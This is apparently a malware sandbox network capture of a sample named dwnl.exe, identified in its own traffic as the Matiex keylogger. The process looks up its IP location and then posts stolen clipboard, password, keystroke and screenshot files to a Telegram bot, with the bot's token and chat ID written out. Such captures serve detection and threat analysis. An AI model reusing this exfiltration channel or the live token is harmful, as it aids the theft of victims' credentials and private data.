61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 36 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":298,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507526,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49785	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:31:47 UTC	2	OUT	GET /xml/84.17.52.51 HTTP/1.1 Host: freegeoip.app
2021-09-13 04:31:47 UTC	2	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:47 GMT Content-Type: application/xml Content-Length: 345 Connection: close vary: Origin x-database-date: Wed, 25 Aug 2021 10:15:20 GMT x-ratelimit-limit: 15000 x-ratelimit-remaining: 14997 x-ratelimit-reset: 3599 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VyKPUl%2FYn3xCRvvncl%2FyxTM8pVTS2N55eAI5CyrdgKZeZfl6EB9I4SUIvzIktMNhF8nLgXevS6Jq2yH%2BYHbpMMBCyK%2FZ1LGOBXb9LPRygZUQW%2BBSM0IM6sAdRJrBoz7p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 68dea5e46ec89724-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-09-13 04:31:47 UTC	3	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 48 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 53 77 69 74 7a 65 72 6c 61 6e 64 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 5a 48 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 5a 75 72 69 63 68 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 5a 75 72 69 63 68 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 31 35 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 Data Ascii: <Response><IP>84.17.52.51</IP><CountryCode>CH</CountryCode><CountryName>Switzerland</CountryName><RegionCode>ZH</RegionCode><RegionName>Zurich</RegionName><City>Zurich</City><ZipCode>8152</ZipCode><TimeZone>Europe/Zurich</TimeZone><Latit

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49805	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:06 UTC	3277	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768034fa6915 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:06 UTC	3277	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 34 66 61 36 39 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768034fa6915Content-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:06 UTC	3278	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:06 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:06 UTC	3278	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 36 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":299,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507526,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49806	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:06 UTC	3279	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768035208fea Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:06 UTC	3279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 35 32 30 38 66 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768035208feaContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:06 UTC	3280	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:06 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:06 UTC	3280	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 36 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":300,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507526,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49807	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:07 UTC	3281	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680354451e9 Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:07 UTC	3281	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 35 34 34 35 31 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d97680354451e9Content-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:07 UTC	3282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:07 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:07 UTC	3282	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 32 37 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":301,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507527,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49808	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:07 UTC	3283	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d976803574006e Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:07 UTC	3284	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 35 37 34 30 30 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d976803574006eContent-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:07 UTC	3300	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:07 UTC	3316	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:07 UTC	3332	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:07 UTC	3348	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:07 UTC	3364	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:07 UTC	3380	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:07 UTC	3396	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:07 UTC	3412	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe 